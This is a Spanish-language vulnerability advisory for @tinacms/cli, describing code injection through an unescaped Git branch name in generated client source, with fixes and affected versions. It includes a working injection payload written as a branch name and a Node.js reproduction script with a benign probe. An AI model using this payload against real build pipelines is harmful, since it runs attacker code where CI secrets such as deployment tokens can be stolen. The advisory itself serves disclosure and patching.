Tina: Inyección de código mediante un nombre de rama de Git no escapado en el código fuente generado del cliente
Resumen
@tinacms/cli inserta el valor sin procesar de la rama de Git en el código fuente generado de client.ts sin escapar ni codificar. Un nombre de rama válido para Git puede cerrar el literal de cadena e inyectar una expresión JavaScript arbitraria que se ejecuta cuando el proceso de compilación del consumidor importa el módulo cliente generado.
Componente afectado
- Origen (lectura de rama):
packages/@tinacms/cli/src/cmds/init/templates/config.tslíneas 155–172 — leeVERCEL_GIT_COMMIT_REF,GITHUB_BRANCHoHEADenconfig.branch - Transformación (construcción de URL):
packages/@tinacms/cli/src/next/codegen/index.tslíneas 219–253 —_createApiUrl()concatena la rama sin procesar en la URL de la API sinencodeURIComponent - Sumidero / Sink (plantilla):
packages/@tinacms/cli/src/next/codegen/index.tslíneas 363–381 —genClient()interpola la URL enurl: '${apiURL}' - Sumidero hermano:
packages/@tinacms/cli/src/next/codegen/codegen/plugin.tslínea 55 —url: "${apiURL}"(mismo patrón, comillas dobles)
Causa raíz
La plantilla de generación de código en index.ts:376 utiliza:
url: '${apiURL}'
donde apiURL contiene el nombre de la rama sin procesar. No se aplica JSON.stringify, encodeURIComponent ni ninguna función de escape de cadenas en ningún punto del proceso. Una comilla simple en el nombre de la rama cierra el literal de cadena y permite la inyección de expresiones.
Carga útil (payload)
El siguiente es un nombre de rama válido en Git (aceptado por git check-ref-format):
x'+(globalThis.__TINA_PROBE='hit')+'
Código generado (sumidero)
Cuando la generación de código se ejecuta con esta rama, el archivo client.ts generado contiene:
export const client = createClient({
url: 'https://content.tinajs.io/2.4/content/<clientId>/github/x'+(globalThis.__TINA_PROBE='hit')+'',
token: '<token>',
queries,
});
El carácter ' en el nombre de la rama cierra la cadena de la URL. +(globalThis.__TINA_PROBE='hit')+ se analiza como una expresión JavaScript. El carácter final +' vuelve a abrir una cadena para mantener la sintaxis válida.
Pasos para reproducir
Requisitos previos: Node.js, Git, npm
mkdir /tmp/tinacms-repro && cd /tmp/tinacms-repro
git init && git commit --allow-empty -m "init"
git branch "x'+(globalThis.__TINA_PROBE='hit')+'"
npm init -y && npm install esbuild
Cree repro.mjs:
import { transform } from 'esbuild';
import vm from 'vm';
// Simulate VERCEL_GIT_COMMIT_REF containing the malicious branch
const branch = "x'+(globalThis.__TINA_PROBE='hit')+'";
// _createApiUrl() logic from index.ts:252
const apiURL = `https://content.tinajs.io/2.4/content/my-client/github/${branch}`;
// genClient() template from index.ts:376
const generated = `
import { createClient } from "tinacms/dist/client";
export const client = createClient({ url: '${apiURL}', token: 'xxx' });
`;
console.log("Generated source:\n", generated);
// Compile (same as consumer build)
const compiled = await transform(generated, { loader: 'ts', format: 'cjs' });
// Execute in sandboxed VM
const sandbox = {
globalThis: {},
module: { exports: {} },
exports: {},
require: () => ({ createClient: (o) => o }),
};
vm.createContext(sandbox);
vm.runInContext(compiled.code, sandbox);
console.log("__TINA_PROBE =", sandbox.globalThis.__TINA_PROBE);
// Output: __TINA_PROBE = hit
Ejecute: node repro.mjs
Resultado: globalThis.__TINA_PROBE se establece en 'hit', confirmando que la expresión inyectada se ejecutó durante la evaluación del módulo.
Control negativo: Repetir el proceso con branch = "feature/safe-branch" no desencadena la inyección.
Impacto
La expresión inyectada se ejecuta con todos los privilegios del proceso de compilación del consumidor. En un despliegue de vista previa típico en Vercel o GitHub Actions:
- Las variables de entorno de compilación son accesibles (
process.env), lo que puede incluirNPM_TOKEN,VERCEL_TOKEN, secretos del proveedor de la nube y claves API - Los artefactos de compilación pueden modificarse, lo que permite el compromiso de la cadena de suministro del resultado desplegado
- El acceso a la red está disponible para exfiltrar datos
Escenario de ataque: Un atacante abre una solicitud de extracción (pull request) a cualquier proyecto de código abierto que use TinaCMS con despliegues de vista previa habilitados (Vercel despliega automáticamente cada rama de PR). El nombre de la rama del atacante contiene la carga útil. La compilación de vista previa ejecuta la generación de código de Tina, genera el archivo inyectado client.ts y el código del atacante se ejecuta durante la compilación.
Condiciones previas:
- El atacante puede crear una rama o PR que desencadene una compilación del consumidor
- El consumidor utiliza TinaCMS con la configuración de rama predeterminada (leyendo desde
VERCEL_GIT_COMMIT_REFo equivalente) - La generación de código del SDK de Tina está habilitada (por defecto)
Justificación de la gravedad
Alta (High) — ejecución de código arbitrario en tiempo de compilación a través de una referencia de Git controlada. No se catalogó como Crítica porque en esta prueba no se demostró la exfiltración real de secretos ni la manipulación de artefactos de producción; únicamente se utilizó un indicador benigno.
Solución sugerida
- Utilice
JSON.stringify(value)para serializar de forma segura cualquier valor en tiempo de ejecución interpolado en las plantillas de código fuente generado - Aplique
encodeURIComponent()al valor de la rama antes de construir el segmento de ruta de la URL de la API - Aplique el mismo tratamiento a
apiURL,token,errorPolicy,cacheDiry la plantilla hermanaAddGeneratedClientFuncenplugin.ts - Considere eliminar por completo los valores en tiempo de ejecución de las plantillas de código fuente, pasándolos a través de un archivo de configuración JSON que el cliente generado lea en tiempo de ejecución
Aviso relacionado
GHSA-4936-9hrh-qqpw — RCE en código fuente generado durante la migración de Forestry en TinaCMS. Origen diferente (etiquetas YAML de Forestry), analizador diferente (función auxiliar de eliminación de comillas __TINA_INTERNAL__) y sumidero diferente (tina/templates.ts). Este informe no es un duplicado.
Qué hacer
Actualice @tinacms/cli a la versión 3.0.0 o superior.
Software afectado
Haz clic en una tecnología para ver todas sus vulnerabilidades.
| Plataforma | Paquete | Versiones vulnerables | Corregida en |
|---|---|---|---|
| Paquete de npm | @tinacms/cli | < 3.0.0 | 3.0.0 |
Referencias
- https://github.com/tinacms/tinacms/security/advisories/GHSA-pwhx-cvv3-qj5c
- https://github.com/tinacms/tinacms/pull/7526
- https://github.com/tinacms/tinacms/commit/d030d414d39e15de79bf36e4c728d57205e71dde
- https://github.com/tinacms/tinacms
- https://github.com/tinacms/tinacms/releases/tag/@tinacms/cli@3.0.0
- Vector CVSS
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:N- Debilidad (CWE)
CWE-94- Plataforma
- npm
- Paquete
@tinacms/cli- Publicada
- 09.10.2026
- Actualizado
- 11.10.2026 10:28
Fuentes y licencias · Editado o traducido por DockRay; se mantienen los derechos y las licencias de las fuentes.
OSV / GitHub Advisory Database - GHSA-pwhx-cvv3-qj5c - CC BY 4.0
Historial de vulnerabilidades: @tinacms/cli
Todas las vulnerabilidades publicadas de este paquete (Paquete de npm), de la más reciente a la más antigua. Muestra si es un fallo aislado o un paquete que hay que vigilar.
- Entradas en total
- 9
- Primera → última
- 02.2023 10.2026
- Sin corrección
- 0
- Explotada en ataques
- 0
Distribución por gravedad
- Crítica 1
- Alta 6
- Media 2
Divulgaciones por año
- 2023: 1
- 2024: 1
- 2025: 1
- 2026: 6
-
Tina: Inyección de código mediante un nombre de rama de Git no escapado en el código fuente generado del cliente esta entrada
Identifica las vulnerabilidades de tu aplicación
Con la integración de DockRay y el inventario de software activado, DockRay compara las versiones notificadas de los componentes con las vulnerabilidades conocidas y avisa de las coincidencias confirmadas. La cobertura depende de la tecnología compatible y de los avisos disponibles.